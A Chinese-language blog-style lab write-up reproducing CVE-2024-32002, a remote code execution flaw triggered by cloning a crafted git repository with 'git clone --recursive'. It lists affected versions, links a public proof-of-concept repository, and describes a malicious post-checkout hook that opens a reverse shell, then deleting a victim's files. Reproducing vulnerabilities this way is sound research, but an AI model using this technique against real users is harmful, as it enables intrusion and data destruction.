利用 CVE-2024-32002漏洞:通过 git clone 进行 RCE的操作
影响版本
Windows 和 MacOS 系统
git 2.45.0
git 2.44.0
git 2.43.* < 2.43.4
git 2.42.* < 2.42.2
git 2.41.0
git 2.40.* < 2.40.2
git < 2.39.4
详细漏洞利用过程:
Exploiting CVE-2024-32002: RCE via git clone | Amal Murali
一、
poc来源:
上面仓库的git版本应该是不小心写错了。我只验证git 2.44.0 的版本,2.44.1和2.45.1应该是修复了,各位验证还是下载低版本的git吧。
首先创建一个包含恶意 post-checkout 钩子的Git仓库,并通过子模块和符号链接将其嵌入到另一个Git仓库中。最终,当目标用户克隆并初始化这个仓库时,恶意钩子将被执行,并在目标机器上启动一个反向Shell连接。
这是一个受到污染的git仓库。
攻击者打开kali,在kali上建立监听。
执行前需要修改脚本中的ip和端口为主机kali主机的ip和nc监听的端口。
受害者在本地仓库上执行命令。运行名称是pocgitreveshell1.sh是因为尝试修改了其中的一些内容,原始版本改了个名留成备份,运行按自己的名字即可。
攻击者在kali上远程连接到受害者主机。
攻击者执行查看受害者文件内容的命令。
攻击者执行强制删除受害者文件内容的命令。
二、
poc来源
https://github.com/amalmurali47/git_rce
直接打开git。运行就可以看到执行代码打开了计算器。
git clone --recursive git@github.com:amalmurali47/git_rce.git
三、
下面是chatgpt对--recursive的解释,这个漏洞的话,不加--recursive是不会触发的,因为核心就是要到子仓库拷贝恶意代码。
在使用 git clone
命令克隆仓库时,--recursive
参数的作用是决定是否同时克隆子模块。以下是详细的解释:
不加 --recursive
参数
当您使用 git clone
命令而不加 --recursive
参数时,Git 只会克隆主仓库,不会自动克隆任何子模块。子模块的目录会存在,但它们的内容不会被检出。
git clone <repository-url>
克隆完成后,可以手动初始化和更新子模块:
cd <repository-directory> git submodule init git submodule update
加 --recursive
参数
当您使用 git clone
命令并加上 --recursive
参数时,Git 不仅会克隆主仓库,还会递归地克隆所有子模块。这意味着子模块的内容会在克隆主仓库时一并检出。
git clone --recursive <repository-url>
这样做的好处是,您在克隆仓库后不需要手动初始化和更新子模块,所有子模块会自动被检出到正确的版本。